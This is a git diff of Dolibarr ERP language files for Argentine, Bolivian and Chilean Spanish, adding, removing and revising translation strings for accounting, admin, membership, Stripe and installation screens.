+137,6 @@ ResizeOrCrop=Redimensionar o Recortar Recenter=Recentrar Groups=Los grupos NoUserGroupDefined=No hay grupo de usuario definido -PasswordRetype=Repetir su contraseña NoteSomeFeaturesAreDisabled=Notar que muchas características/módulos están des habilitados en esta demostración. NameSlashCompany=Nombre/Compañía PersonalValue=Valor personal @@ -355,6 +354,7 @@ FindBug=Informar un error NbOfThirdParties=Número de terceras partes NbOfLines=Número de líneas NbOfObjectReferers=Número de items relacionados +Referers=Items relacionados DateFromTo=Desde %s a %s DateFrom=Desde %s Check=Cheque @@ -499,8 +499,6 @@ Exports=Exporta ExportFilteredList=Exportar lista filtrada ExportList=Exportar lista ExportOptions=Exportar Opciones -ExportOfPiecesAlreadyExportedIsEnable=Exportar piezas que ya fueron exportadas está habilitado -ExportOfPiecesAlreadyExportedIsDisable=Exportar piezas que ya fueron exportadas está deshabilitado AllExportedMovementsWereRecordedAsExported=Todos los movimientos de exportaciones fueron registrados como exportados NotAllExportedMovementsCouldBeRecordedAsExported=No todos los movimientos de exportados pueden registrarse como exportados Miscellaneous=Miscelanias @@ -581,3 +579,9 @@ CustomReports=Informes de clientes SelectYourGraphOptionsFirst=Elija sus opciones de gráfico para construir un gráfico XAxis=Eje-X YAxis=Eje-Y +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +Terminated=Terminado diff --git a/htdocs/langs/es_AR/members.lang b/htdocs/langs/es_AR/members.lang index a05e329cdb3..4cb989ea205 100644 --- a/htdocs/langs/es_AR/members.lang +++ b/htdocs/langs/es_AR/members.lang @@ -60,7 +60,6 @@ YourMembershipWasValidated=Tu membresía fue validada YourMembershipWasCanceled=Tu membresía fue cancelada CardContent=Contenido de tu ficha de miembro ThisIsContentOfYourMembershipRequestWasReceived=Queremos hacerle saber que se recibió su solicitud de membresía.

      -ThisIsContentOfYourSubscriptionWasRecorded=Queremos hacerle saber que su nueva suscripción fue grabada.

      ThisIsContentOfSubscriptionReminderEmail=Queremos informarle que su suscripción está a punto de caducar o que ya venció (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Esperamos que la renueves.

      ThisIsContentOfYourCard=Este es un resumen de la información que tenemos sobre usted. Por favor contáctenos si algo está incorrecto.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Asunto del correo de notificación recibido en caso de auto-inscripción de un invitado @@ -91,7 +90,6 @@ MembersStatisticsDesc=Elige las estadísticas que deseas visualizar ... NewMemberbyWeb=Nuevo miembro agregado. Esperando aprobación NewMemberForm=Formulario de miembro nuevo TurnoverOrBudget=Volumen de negocios (para una empresa) o Presupuesto (para una fundación) -MEMBER_NEWFORM_PAYONLINE=Ve a la página de pago en línea MembersStatisticsByProperties=Estadísticas de miembros por naturaleza NoEmailSentToMember=No se han enviado correos al miembro EmailSentToMember=Correo enviado al miembro a %s diff --git a/htdocs/langs/es_AR/mrp.lang b/htdocs/langs/es_AR/mrp.lang index 33ede374dad..587b6907944 100644 --- a/htdocs/langs/es_AR/mrp.lang +++ b/htdocs/langs/es_AR/mrp.lang @@ -9,6 +9,5 @@ LatestBOMModified=Ultimas %s Lista de materiales modificada LatestMOModified=Ultimas %s Ordenes de Fabricación modificadas Bom=Listas de materiales BOMsSetup=Configuración de módulo de BOM -ListOfBOMs=Lista de Listas de materiales - BOM -ListOfManufacturingOrders=Lista de Ordenes de Fabricación +ListOfManufacturingOrders=Ordenes de Fabricación MenuMRP=Ordenes de Fabricación diff --git a/htdocs/langs/es_AR/propal.lang b/htdocs/langs/es_AR/propal.lang index 4f0494200d1..fea82797de2 100644 --- a/htdocs/langs/es_AR/propal.lang +++ b/htdocs/langs/es_AR/propal.lang @@ -2,6 +2,7 @@ Proposals=Propuesta comercial ProposalShort=Propuesta ProposalsDraft=Presupuestos en borrador +PdfCommercialProposalTitle=Propuesta Prospect=Cliente Potencia PropalsDraft=Borradores PropalsOpened=Abierto diff --git a/htdocs/langs/es_AR/salaries.lang b/htdocs/langs/es_AR/salaries.lang index 249c6815c03..9ebf17c1590 100644 --- a/htdocs/langs/es_AR/salaries.lang +++ b/htdocs/langs/es_AR/salaries.lang @@ -1,6 +1,4 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Cuenta contable utilizada para terceros contratados -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=La cuenta contable definida en la ficha del usuario se usará solo para la contabilidad en el libro mayor. Esta se usará para el Libro Diario y como valor predeterminado de la contabilidad del Libro Mayor si no fue definida una cuenta contable del usuario. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Cuenta contable por defecto para pago de sueldos Salary=Sueldo Salaries=Sueldos diff --git a/htdocs/langs/es_AR/stripe.lang b/htdocs/langs/es_AR/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/es_AR/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/es_AR/users.lang b/htdocs/langs/es_AR/users.lang index de855ed3819..7049c06cc60 100644 --- a/htdocs/langs/es_AR/users.lang +++ b/htdocs/langs/es_AR/users.lang @@ -42,7 +42,6 @@ LinkToCompanyContact=Enlazar a un tercero / contacto LinkedToDolibarrMember=Enlazar al miembro CreateDolibarrLogin=Crear un usuario CreateDolibarrThirdParty=Crea un tercero -LoginAccountDisableInDolibarr=Cuenta deshabilitada en Dolibarr. UsePersonalValue=Usar valor personal ExportDataset_user_1=Usuarios y sus propiedades DomainUser=Usuario de dominio %s diff --git a/htdocs/langs/es_BO/admin.lang b/htdocs/langs/es_BO/admin.lang index c5ab56cb8d8..4117e853156 100644 --- a/htdocs/langs/es_BO/admin.lang +++ b/htdocs/langs/es_BO/admin.lang @@ -1,5 +1,4 @@ # Dolibarr language file - Source file is en_US - admin OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/es_BO/hrm.lang b/htdocs/langs/es_BO/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/es_BO/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/es_BO/install.lang b/htdocs/langs/es_BO/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/es_BO/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/es_BO/propal.lang b/htdocs/langs/es_BO/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/es_BO/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/es_BO/stripe.lang b/htdocs/langs/es_BO/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/es_BO/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/es_CL/accountancy.lang b/htdocs/langs/es_CL/accountancy.lang index 9a12ca9824b..ed300a37675 100644 --- a/htdocs/langs/es_CL/accountancy.lang +++ b/htdocs/langs/es_CL/accountancy.lang @@ -9,8 +9,6 @@ ACCOUNTING_EXPORT_DEVISE=Moneda de exportación Selectformat=Seleccione el formato para el archivo ACCOUNTING_EXPORT_FORMAT=Seleccione el formato para el archivo ACCOUNTING_EXPORT_PREFIX_SPEC=Especifíque el prefijo para el nombre de archivo -DefaultForService=Predeterminado para servicio -DefaultForProduct=Predeterminado para producto CantSuggest=No puedo sugerir AccountancySetupDoneFromAccountancyMenu=La mayoría de las configuraciones de la contabilidad se realizan desde el menú %s Journalization=Periodización @@ -96,29 +94,17 @@ ACCOUNTING_LENGTH_AACCOUNT=Longitud de las cuentas contables de terceros (si est ACCOUNTING_MANAGE_ZERO=Permite administrar un número diferente de ceros al final de una cuenta contable. Necesitado por algunos países (como Suiza). Si está desactivado (predeterminado), puede configurar los dos parámetros siguientes para solicitar a la aplicación que agregue ceros virtuales. BANK_DISABLE_DIRECT_INPUT=Deshabilitar la grabación directa de transacciones en cuenta bancaria ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Habilitar exportación de borrador en diario -ACCOUNTING_SELL_JOURNAL=Libro de ventas -ACCOUNTING_MISCELLANEOUS_JOURNAL=Diario misceláneo ACCOUNTING_EXPENSEREPORT_JOURNAL=Diario del informe de gastos ACCOUNTING_RESULT_PROFIT=Cuenta contable de resultados (beneficio) ACCOUNTING_RESULT_LOSS=Cuenta contable de resultados (pérdida) -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Cuenta contable de transferencia bancaria transitoria. -ACCOUNTING_ACCOUNT_SUSPENSE=Cuenta de contabilidad de espera -DONATION_ACCOUNTINGACCOUNT=Cuenta de contabilidad para registrar donaciones -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Cuenta contable para registrar suscripciones. -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Cuenta contable por defecto para los productos comprados (se usa si no se define en la hoja de productos) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Cuenta de contabilidad por defecto para los productos vendidos (utilizada si no está definida en la hoja del producto) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Cuenta contable por defecto para los productos vendidos en la EEC (utilizada si no se define en la hoja de producto) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Cuenta contable por defecto para los productos vendidos y exportados fuera de la EEC (usado si no está definido en la hoja de producto) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Cuenta de contabilidad por defecto para los servicios comprados (se usa si no se define en la hoja de servicio) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Cuenta de contabilidad por defecto para los servicios vendidos (utilizada si no está definida en la hoja de servicio) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Cuenta contable por defecto para los servicios vendidos en la EEC (utilizada si no se define en la hoja de servicios) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Cuenta contable por defecto para los servicios vendidos y exportados fuera de la EEC (usado si no está definido en la hoja de servicios) LabelAccount=Cuenta LabelOperation=Operación de etiqueta LetteringCode=Codigo de letras JournalLabel=Etiqueta de revista NumPiece=Pieza número TransactionNumShort=Num. transacción +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts AccountingAccountGroupsDesc=Puede definir aquí algunos grupos de cuentas contables. Se usarán para informes de contabilidad personalizados. DelYear=Año para borrar DelJournal=Diario para eliminar @@ -146,11 +132,6 @@ UnknownAccountForThirdpartyAndWaitingAccountNotDefinedBlocking=Cuenta de tercero PaymentsNotLinkedToProduct=Pago no vinculado a ningún producto / servicio TotalVente=Volumen de negocios total antes de impuestos TotalMarge=Margen total de ventas -DescVentilCustomer=Consulte aquí la lista de líneas de facturación de clientes vinculadas (o no) a una cuenta de contabilidad de producto -DescVentilMore=En la mayoría de los casos, si utiliza productos o servicios predefinidos y configura el número de cuenta en la tarjeta de producto / servicio, la aplicación podrá hacer todo el enlace entre sus líneas de factura y la cuenta contable de su plan de cuentas, solo en un clic con el botón "%s" . Si la cuenta no se configuró en las tarjetas de producto / servicio o si todavía tiene algunas líneas que no están vinculadas a una cuenta, deberá realizar un enlace manual desde el menú " %s ". -DescVentilDoneCustomer=Consulte aquí la lista de las líneas de clientes de facturas y su cuenta de contabilidad de productos -DescVentilTodoCustomer=Vincular líneas de factura que ya no están vinculadas con una cuenta de contabilidad de producto -ChangeAccount=Cambie la cuenta de contabilidad de producto / servicio para líneas seleccionadas con la siguiente cuenta de contabilidad: DescVentilDoneSupplier=Consulte aquí la lista de las líneas de facturas de proveedores y sus cuentas contables. DescVentilTodoExpenseReport=Vincular las líneas de informe de gastos que ya no están vinculadas con una cuenta de contabilidad de tarifas DescVentilExpenseReport=Consulte aquí la lista de líneas de informe de gastos vinculadas (o no) a una cuenta de contabilidad de tasas @@ -158,12 +139,10 @@ DescVentilExpenseReportMore=Si configura una cuenta contable en el tipo de líne DescVentilDoneExpenseReport=Consulte aquí la lista de las líneas de informes de gastos y su cuenta de contabilidad de tarifas DescValidateMovements=Se prohíbe cualquier modificación o eliminación de escritura, letras y eliminaciones. Todas las entradas para un ejercicio deben validarse; de lo contrario, no será posible cerrar ValidateHistory=Enlazar automáticamente -ErrorAccountancyCodeIsAlreadyUse=No puede eliminar esta cuenta porque está siendo usada Balancing=Equilibrio FicheVentilation=Tarjeta de enlace GeneralLedgerIsWritten=Las transacciones se escriben en el Libro mayor GeneralLedgerSomeRecordWasNotRecorded=Algunas de las transacciones no pueden ser contabilizadas. Si no hay otro mensaje de error, esto es probablemente porque ya estaban en el diario. -ListOfProductsWithoutAccountingAccount=Lista de productos no vinculados a ninguna cuenta de contabilidad ChangeBinding=Cambiar la encuadernación Accounted=Contabilizado en el libro mayor ShowTutorial=Tutorial de presentación @@ -174,7 +153,7 @@ AccountingJournals=Libros contables AccountingJournal=Diario de contabilidad NewAccountingJournal=Nueva revista de contabilidad AccountingJournalType1=Operaciones misceláneas -AccountingJournalType5=Informe de gastos +AccountingJournalType5=Reporte de gastos ErrorAccountingJournalIsAlreadyUse=Este diario ya es uso AccountingAccountForSalesTaxAreDefinedInto=Nota: La cuenta de contabilidad para el impuesto a las ventas se define en el menú %s - %s ExportDraftJournal=Exportar borrador del diario diff --git a/htdocs/langs/es_CL/admin.lang b/htdocs/langs/es_CL/admin.lang index 7e7c5a27736..2dc95870e47 100644 --- a/htdocs/langs/es_CL/admin.lang +++ b/htdocs/langs/es_CL/admin.lang @@ -322,7 +322,6 @@ ExtrafieldCheckBox=Casillas de verificación ExtrafieldCheckBoxFromList=Casillas de verificación de la mesa ExtrafieldLink=Enlace a un objeto ComputedFormula=Campo computado -ComputedFormulaDesc=Puede ingresar aquí una fórmula usando otras propiedades del objeto o cualquier codificación PHP para obtener un valor calculado dinámico. Puede utilizar cualquier fórmula compatible con PHP, incluido el "?" operador de condición y el siguiente objeto global: $ db, $ conf, $ langs, $ mysoc, $ user, $ object .
      ADVERTENCIA : Solo algunas propiedades de $ object pueden estar disponibles. Si necesita propiedades no cargadas, simplemente busque el objeto en su fórmula como en el segundo ejemplo.
      El uso de un campo calculado significa que no puede ingresar ningún valor desde la interfaz. Además, si hay un error de sintaxis, es posible que la fórmula no devuelva nada.

      Ejemplo de fórmula:
      $ object-> id < 10 ? round($object-> id / 2, 2): ($ object-> id + 2 * $ user-> id) * (int) substr ($ mysoc-> zip, 1, 2) )

      Ejemplo para volver a cargar el objeto
      (($ reloadedobj = new Societe ($ db)) && ($ reloadedobj-> fetchNoCompute ($ obj-> id? $ obj-> id: (? $ obj-> id?) > rowid: $ objeto-> id))> 0))? $ reloadedobj-> array_options ['options_extrafieldkey'] * $ reloadedobj-> capital / 5: '-1'

      Otro ejemplo de fórmula para forzar la carga del objeto y su objeto principal:
      (($ new reloadedobjb )) && ($ reloadedobj-> fetchNoCompute ($ object-> id)> 0) && ($ secondloadedobj = new Project ($ db)) && ($ secondloadedobj-> fetchNoCompute ($ reloadedobj-> fk_project)> 0))? $ secondloadedobj-> ref: 'Proyecto principal no encontrado' Computedpersistent=Almacenar campo computado ExtrafieldParamHelpPassword=Si deja este campo en blanco, significa que este valor se almacenará sin cifrado (el campo solo debe estar oculto con una estrella en la pantalla).
      Establezca 'auto' para usar la regla de cifrado predeterminada para guardar la contraseña en la base de datos (entonces el valor leído será solo el hash, no hay manera de recuperar el valor original) ExtrafieldParamHelpselect=La lista de valores debe ser líneas con clave de formato, valor (donde la clave no puede ser '0')

      por ejemplo:
      1, valor1
      2, valor2
      código3, valor3
      ...

      Para tener la lista dependiendo de otra lista de atributos complementarios:
      1, value1 | options_ parent_list_code : parent_key
      2, value2 | options_ parent_list_code : parent_key

      Para tener la lista dependiendo de otra lista:
      1, valor1 | parent_list_code : parent_key
      2, valor2 | parent_list_code : parent_key @@ -444,9 +443,7 @@ Module2300Desc=Gestión programada de trabajos (alias cron o crono tabla) Module2400Name=Eventos / Agenda Module2400Desc=Eventos de pista. Registre eventos automáticos con fines de seguimiento o registre eventos o reuniones manuales. Este es el módulo principal para una buena gestión de relaciones con clientes o proveedores. Module2500Desc=Sistema de gestión de documentos / gestión electrónica de contenidos. Organización automática de sus documentos generados o almacenados. Compártelos cuando lo necesites. -Module2600Name=API / servicios web (servidor SOAP) Module2600Desc=Habilite el servidor Dolibarr SOAP que proporciona servicios de API -Module2610Name=API / servicios web (servidor REST) Module2610Desc=Habilite el servidor REST Dolibarr proporcionando servicios API Module2660Name=Llamar a WebServices (cliente SOAP) Module2660Desc=Habilitar el cliente de servicios web de Dolibarr (puede usarse para enviar datos / solicitudes a servidores externos. Actualmente solo se admiten pedidos de compra). @@ -473,7 +470,6 @@ Module55000Desc=Cree encuestas en línea, encuestas o votos (como Doodle, Studs, Module60000Desc=Módulo para gestionar comisiones Module62000Desc=Añadir características para gestionar Incoterms. Module63000Desc=Gestionar recursos (impresoras, coches, salas, ...) para asignar a eventos. -Permission11=Lea las facturas de los clientes Permission12=Crear/modificar facturas de clientes Permission14=Validar facturas de clientes Permission15=Enviar facturas de clientes por correo electrónico @@ -573,7 +569,6 @@ Permission281=Leer contactos Permission291=Tarifas de lectura Permission292=Establecer permisos sobre las tarifas Permission293=Modificar las tarifas del cliente. -Permission301=Crear / modificar códigos de barras Permission311=Leer Servicios Permission312=Asignar servicio / suscripción al contrato Permission331=Leer marcadores @@ -624,7 +619,6 @@ Permission1188=Eliminar órdenes de compra Permission1190=Aprobar (segunda aprobación) órdenes de compra Permission1201=Obtener el resultado de una exportación Permission1202=Crear / Modificar una exportación -Permission1231=Leer facturas de proveedores Permission1232=Crear / modificar facturas de proveedores Permission1233=Validar facturas de proveedores Permission1234=Eliminar facturas de proveedores @@ -1134,7 +1128,6 @@ DetailMenuHandler=Manejador de menú donde mostrar el nuevo menú DetailMenuModule=Nombre del módulo si la entrada del menú proviene de un módulo DetailType=Tipo de menú (arriba o izquierda) DetailTitre=Etiqueta de menú o código de etiqueta para la traducción -DetailUrl=URL donde el menú te envía (enlace URL absoluto o enlace externo con http: //) DetailEnabled=Condición para mostrar o no la entrada DetailRight=Condición para mostrar menús grises no autorizados DetailLangs=Nombre de archivo Lang para la traducción del código de etiqueta @@ -1203,7 +1196,6 @@ MultiCompanySetup=Configuración de módulo multi-compañía SuppliersSetup=Configuración del módulo de proveedor SuppliersInvoiceNumberingModel=Facturas de proveedores de numeración de modelos. IfSetToYesDontForgetPermission=Si se establece en un valor no nulo, no olvide proporcionar permisos a grupos o usuarios permitidos para la segunda aprobación -PathToGeoIPMaxmindCountryDataFile=Ruta al archivo que contiene Maxmind ip a la traducción del país.
      Ejemplos:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb NoteOnPathLocation=Tenga en cuenta que su archivo de datos de IP a país debe estar dentro de un directorio que su PHP puede leer (consulte la configuración de PHP open_basedir y los permisos del sistema de archivos). YouCanDownloadFreeDatFileTo=Puede descargar una versión de demostración gratuita del archivo de país Maxip GeoIP en %s. YouCanDownloadAdvancedDatFileTo=También puede descargar una versión más completa, con actualizaciones, del archivo de país Maxip GeoIP en %s. @@ -1333,13 +1325,13 @@ EMailHost=Host del servidor de correo electrónico IMAP EmailcollectorOperations=Operaciones a realizar por coleccionista. MaxEmailCollectPerCollect=Número máximo de correos electrónicos recogidos por cobro EmailCollectorConfirmCollectTitle=Correo electrónico recoger confirmación +EmailCollectorExampleToCollectDolibarrAnswersDesc=Recopile todos los correos electrónicos que sean una respuesta de un correo electrónico enviado desde su aplicación. Un evento (el Módulo Agenda debe estar habilitado) con la respuesta del correo electrónico se registrará en el buen lugar. Por ejemplo, si envías una propuesta comercial, pedido, factura o mensaje de ticket por email desde la aplicación, y el destinatario responde a tu email, el sistema captará automáticamente la respuesta y la añadirá a tu ERP. NoNewEmailToProcess=No hay correo electrónico nuevo (filtros coincidentes) para procesar CodeLastResult=Código de resultado más reciente NbOfEmailsInInbox=Número de correos electrónicos en el directorio de origen LoadThirdPartyFromName=Cargar búsqueda de terceros en %s (solo carga) LoadThirdPartyFromNameOrCreate=Cargar búsqueda de terceros en %s (crear si no se encuentra) ECMAutoTree=Mostrar arbol ECM automatico -OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. OpeningHoursDesc=Introduzca aquí el horario habitual de apertura de su empresa. ResourceSetup=Configuración del módulo de recursos UseSearchToSelectResource=Use un formulario de búsqueda para elegir un recurso (en lugar de una lista desplegable). @@ -1357,7 +1349,6 @@ DebugBar=Barra de debug WarningValueHigherSlowsDramaticalyOutput=Advertencia, los valores más altos ralentizan dramáticamente la salida. ModuleActivated=El módulo %s está activado y ralentiza la interfaz EXPORTS_SHARE_MODELS=Los modelos de exportación se comparten con todos. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      EndPointFor=Punto final para %s: %s DeleteEmailCollector=Eliminar el colector de correo electrónico ConfirmDeleteEmailCollector=¿Estás seguro de que deseas eliminar este recopilador de correo electrónico? diff --git a/htdocs/langs/es_CL/compta.lang b/htdocs/langs/es_CL/compta.lang index 42e534b97dd..5be8562e7ae 100644 --- a/htdocs/langs/es_CL/compta.lang +++ b/htdocs/langs/es_CL/compta.lang @@ -24,6 +24,7 @@ Profit=Ganancia Balance=Equilibrar Debit=Débito Credit=Crédito +AccountingDebit=Débito Piece=Contabilidad Doc. AmountHTVATRealReceived=Neto recaudado AmountHTVATRealPaid=Neto pagado @@ -168,12 +169,7 @@ CalculationRuleDescSupplier=Según el proveedor, elija el método apropiado para TurnoverPerProductInCommitmentAccountingNotRelevant=El informe de la facturación obtenida por producto no está disponible. Este informe solo está disponible para facturación facturada. TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=El informe de Cifra de negocios recaudada por tasa de impuesto a la venta no está disponible. Este informe solo está disponible para facturación facturada. AccountancyJournal=Revista de códigos contables -ACCOUNTING_VAT_SOLD_ACCOUNT=Cuenta de contabilidad de forma predeterminada para el IVA sobre las ventas (se usa si no está definido en la configuración del diccionario de IVA) -ACCOUNTING_VAT_BUY_ACCOUNT=Cuenta de contabilidad de forma predeterminada para el IVA en compras (se usa si no está definido en la configuración del diccionario de IVA) -ACCOUNTING_VAT_PAY_ACCOUNT=Cuenta de contabilidad por defecto para pagar el IVA -ACCOUNTING_ACCOUNT_CUSTOMER=Cuenta de contabilidad utilizada para terceros clientes ACCOUNTING_ACCOUNT_CUSTOMER_Desc=La cuenta contable dedicada definida en la tarjeta de terceros se utilizará solo para la contabilidad de Libro mayor auxiliar. Este se usará para el Libro mayor general y como valor predeterminado de la contabilidad del Libro mayor auxiliar si no se define una cuenta de cuenta del cliente dedicada a un tercero. -ACCOUNTING_ACCOUNT_SUPPLIER=Cuenta de contabilidad utilizada para terceros proveedores ACCOUNTING_ACCOUNT_SUPPLIER_Desc=La cuenta contable dedicada definida en la tarjeta de terceros se utilizará solo para la contabilidad de Libro mayor auxiliar. Este se usará para el Libro mayor y como valor predeterminado de la contabilidad del Libro mayor auxiliar si no se define una cuenta de proveedor dedicada en un tercero. ConfirmCloneTax=Confirmar el clon de un impuesto social / fiscal. CloneTaxForNextMonth=Clonarlo para el próximo mes diff --git a/htdocs/langs/es_CL/datapolicy.lang b/htdocs/langs/es_CL/datapolicy.lang new file mode 100644 index 00000000000..f229170f617 --- /dev/null +++ b/htdocs/langs/es_CL/datapolicy.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - datapolicy +DATAPOLICY_TIERS_PROSPECT =Prospectar +DATAPOLICY_CONTACT_PROSPECT =Prospectar diff --git a/htdocs/langs/es_CL/ecm.lang b/htdocs/langs/es_CL/ecm.lang index c8bda73008d..462663342bc 100644 --- a/htdocs/langs/es_CL/ecm.lang +++ b/htdocs/langs/es_CL/ecm.lang @@ -6,7 +6,6 @@ ECMNbOfSubDir=Cantidad de subdirectorios ECMNbOfFilesInSubDir=Número de archivos en subdirectorios ECMArea=Área de DMS / ECM ECMAreaDesc=El área DMS / ECM (Sistema de gestión de documentos / gestión de contenido electrónico) le permite guardar, compartir y buscar rápidamente todo tipo de documentos en Dolibarr. -ECMAreaDesc2=* Los directorios automáticos se rellenan automáticamente al agregar documentos desde la tarjeta de un elemento.
      * Los directorios manuales se pueden usar para guardar documentos no vinculados a un elemento en particular. ECMSectionWasRemoved=El directorio %s ha sido borrado. ECMSectionWasCreated=El directorio %s ha sido creado. ECMNoDirectoryYet=Sin directorio creado diff --git a/htdocs/langs/es_CL/install.lang b/htdocs/langs/es_CL/install.lang index 9bc3060c806..a0765f46705 100644 --- a/htdocs/langs/es_CL/install.lang +++ b/htdocs/langs/es_CL/install.lang @@ -63,7 +63,7 @@ GoToUpgradePage=Ir a la página de actualización de nuevo WithNoSlashAtTheEnd=Sin la barra "/" al final AdminLoginAlreadyExists=La cuenta de administrador de Dolibarr ' %s ' ya existe. Vuelve si quieres crear otro. FailedToCreateAdminLogin=Error al crear la cuenta de administrador de Dolibarr. -WarningRemoveInstallDir=Advertencia, por razones de seguridad, una vez que se complete la instalación o la actualización, debe agregar un archivo llamado install.lock en el directorio de documentos de Dolibarr para evitar nuevamente el uso accidental / malicioso de las herramientas de instalación. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. ChoosedMigrateScript=Elija script de migración DataMigration=Migración de base de datos (datos) DatabaseMigration=Migración de la base de datos (estructura + algunos datos) diff --git a/htdocs/langs/es_CL/loan.lang b/htdocs/langs/es_CL/loan.lang index f24bbf5b732..d57bd683827 100644 --- a/htdocs/langs/es_CL/loan.lang +++ b/htdocs/langs/es_CL/loan.lang @@ -18,7 +18,4 @@ FinancialCommitment=Compromiso financiero InterestAmount=Interesar CapitalRemain=Remanente capital ConfigLoan=Configuración del módulo de préstamo -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Capital de cuenta contable por defecto -LOAN_ACCOUNTING_ACCOUNT_INTEREST=El interés de cuenta contable por defecto -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Seguro de cuenta contable por defecto CreateCalcSchedule=Edita el compromiso financiero diff --git a/htdocs/langs/es_CL/main.lang b/htdocs/langs/es_CL/main.lang index 574af50647c..25b1b4408f8 100644 --- a/htdocs/langs/es_CL/main.lang +++ b/htdocs/langs/es_CL/main.lang @@ -127,7 +127,6 @@ Choose=Escoger Resize=Cambiar el tamaño ResizeOrCrop=Cambiar el tamaño o el cultivo NoUserGroupDefined=Ningún grupo de usuarios definido -PasswordRetype=Reescribe tu contraseña NoteSomeFeaturesAreDisabled=Tenga en cuenta que muchas características / módulos están deshabilitados en esta demostración. PersonalValue=Valor personal MultiLanguage=Multi lenguaje @@ -449,8 +448,6 @@ ClassifyUnbilled=Clasificar sin facturar FrontOffice=Oficina frontal ExportFilteredList=Exportar lista filtrada ExportList=Lista de exportación -ExportOfPiecesAlreadyExportedIsEnable=Se habilita la exportación de piezas ya exportadas. -ExportOfPiecesAlreadyExportedIsDisable=La exportación de piezas ya exportadas está deshabilitada. 